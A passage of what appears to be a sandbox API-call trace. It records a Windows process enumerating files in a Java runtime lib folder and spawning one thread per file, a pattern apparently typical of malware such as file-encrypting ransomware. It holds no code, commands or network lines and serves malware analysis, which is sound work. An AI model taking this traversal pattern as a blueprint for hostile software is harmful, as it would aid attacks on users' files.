dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0127.539] wcscmp (_String1="jfr", _String2=".") returned 1 [0127.539] wcscmp (_String1="jfr", _String2="..") returned 1 [0127.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c310 [0127.539] wcscpy (in: _Dest=0x1cd9c310, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.539] wcscat (in: _Dest=0x1cd9c310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.539] wcscat (in: _Dest=0x1cd9c310, _Source="jfr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" [0127.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0127.541] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8204f, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0127.541] wcscmp (_String1="jfr.jar", _String2=".") returned 1 [0127.541] wcscmp (_String1="jfr.jar", _String2="..") returned 1 [0127.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b863ce0 [0127.541] wcscpy (in: _Dest=0x1b863ce0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.541] wcscat (in: _Dest=0x1b863ce0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.541] wcscat (in: _Dest=0x1b863ce0, _Source="jfr.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" [0127.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0127.543] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7540fcc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7540fcc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce642c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0127.543] wcscmp (_String1="jfxrt.jar", _String2=".") returned 1 [0127.543] wcscmp (_String1="jfxrt.jar", _String2="..") returned 1 [0127.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b863e30 [0127.543] wcscpy (in: _Dest=0x1b863e30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.543] wcscat (in: _Dest=0x1b863e30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.543] wcscat (in: _Dest=0x1b863e30, _Source="jfxrt.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" [0127.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0127.544] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7539d8a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7539d8a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753c3a00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x809cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0127.544] wcscmp (_String1="jsse.jar", _String2=".") returned 1 [0127.544] wcscmp (_String1="jsse.jar", _String2="..") returned 1 [0127.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b863f10 [0127.545] wcscpy (in: _Dest=0x1b863f10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.545] wcscat (in: _Dest=0x1b863f10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.545] wcscat (in: _Dest=0x1b863f10, _Source="jsse.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" [0127.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0127.546] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0127.546] wcscmp (_String1="jvm.hprof.txt", _String2=".") returned 1 [0127.547] wcscmp (_String1="jvm.hprof.txt", _String2="..") returned 1 [0127.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b863f80 [0127.547] wcscpy (in: _Dest=0x1b863f80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.547] wcscat (in: _Dest=0x1b863f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.547] wcscat (in: _Dest=0x1b863f80, _Source="jvm.hprof.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" [0127.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0127.548] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0127.548] wcscmp (_String1="logging.properties", _String2=".") returned 1 [0127.548] wcscmp (_String1="logging.properties", _String2="..") returned 1 [0127.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504b10 [0127.548] wcscpy (in: _Dest=0x20504b10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.548] wcscat (in: _Dest=0x20504b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.549] wcscat (in: _Dest=0x20504b10, _Source="logging.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties" [0127.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0127.550] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0127.550] wcscmp (_String1="management", _String2=".") returned 1 [0127.550] wcscmp (_String1="management", _String2="..") returned 1 [0127.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864760 [0127.550] wcscpy (in: _Dest=0x1b864760, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.550] wcscat (in: _Dest=0x1b864760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.550] wcscat (in: _Dest=0x1b864760, _Source="management" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" [0127.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b864760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0127.551] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0127.551] wcscmp (_String1="management-agent.jar", _String2=".") returned 1 [0127.551] wcscmp (_String1="management-agent.jar", _String2="..") returned 1 [0127.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20504a90 [0127.551] wcscpy (in: _Dest=0x20504a90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.551] wcscat (in: _Dest=0x20504a90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.552] wcscat (in: _Dest=0x20504a90, _Source="management-agent.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" [0127.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0127.553] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0127.553] wcscmp (_String1="meta-index", _String2=".") returned 1 [0127.553] wcscmp (_String1="meta-index", _String2="..") returned 1 [0127.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864680 [0127.553] wcscpy (in: _Dest=0x1b864680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.553] wcscat (in: _Dest=0x1b864680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.554] wcscat (in: _Dest=0x1b864680, _Source="meta-index" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\meta-index" [0127.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0127.555] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0127.555] wcscmp (_String1="net.properties", _String2=".") returned 1 [0127.555] wcscmp (_String1="net.properties", _String2="..") returned 1 [0127.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864300 [0127.555] wcscpy (in: _Dest=0x1b864300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.555] wcscat (in: _Dest=0x1b864300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.555] wcscat (in: _Dest=0x1b864300, _Source="net.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\net.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\net.properties" [0127.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0127.557] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753515e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753515e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7539d8a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0127.557] wcscmp (_String1="plugin.jar", _String2=".") returned 1 [0127.557] wcscmp (_String1="plugin.jar", _String2="..") returned 1 [0127.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863d50 [0127.557] wcscpy (in: _Dest=0x1b863d50, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.557] wcscat (in: _Dest=0x1b863d50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.557] wcscat (in: _Dest=0x1b863d50, _Source="plugin.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" [0127.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0127.559] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0127.559] wcscmp (_String1="psfont.properties.ja", _String2=".") returned 1 [0127.559] wcscmp (_String1="psfont.properties.ja", _String2="..") returned 1 [0127.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20504a10 [0127.559] wcscpy (in: _Dest=0x20504a10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.559] wcscat (in: _Dest=0x20504a10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.559] wcscat (in: _Dest=0x20504a10, _Source="psfont.properties.ja" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja" [0127.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0127.561] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0127.561] wcscmp (_String1="psfontj2d.properties", _String2=".") returned 1 [0127.561] wcscmp (_String1="psfontj2d.properties", _String2="..") returned 1 [0127.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20504990 [0127.561] wcscpy (in: _Dest=0x20504990, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.561] wcscat (in: _Dest=0x20504990, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.561] wcscat (in: _Dest=0x20504990, _Source="psfontj2d.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties" [0127.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0127.563] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2562c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0127.563] wcscmp (_String1="resources.jar", _String2=".") returned 1 [0127.563] wcscmp (_String1="resources.jar", _String2="..") returned 1 [0127.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8644c0 [0127.563] wcscpy (in: _Dest=0x1b8644c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.563] wcscat (in: _Dest=0x1b8644c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.563] wcscat (in: _Dest=0x1b8644c0, _Source="resources.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" [0127.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8644c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0127.564] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x751d4820, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3124c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0127.564] wcscmp (_String1="rt.jar", _String2=".") returned 1 [0127.564] wcscmp (_String1="rt.jar", _String2="..") returned 1 [0127.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9cdf0 [0127.565] wcscpy (in: _Dest=0x1cd9cdf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.565] wcscat (in: _Dest=0x1cd9cdf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.565] wcscat (in: _Dest=0x1cd9cdf0, _Source="rt.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" [0127.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd9cdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0127.566] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0127.566] wcscmp (_String1="security", _String2=".") returned 1 [0127.566] wcscmp (_String1="security", _String2="..") returned 1 [0127.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b863960 [0127.566] wcscpy (in: _Dest=0x1b863960, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.566] wcscat (in: _Dest=0x1b863960, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.566] wcscat (in: _Dest=0x1b863960, _Source="security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0127.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b863960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0127.567] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0127.567] wcscmp (_String1="sound.properties", _String2=".") returned 1 [0127.567] wcscmp (_String1="sound.properties", _String2="..") returned 1 [0127.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x20504910 [0127.567] wcscpy (in: _Dest=0x20504910, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.567] wcscat (in: _Dest=0x20504910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.567] wcscat (in: _Dest=0x20504910, _Source="sound.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\sound.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\sound.properties" [0127.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0127.568] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: 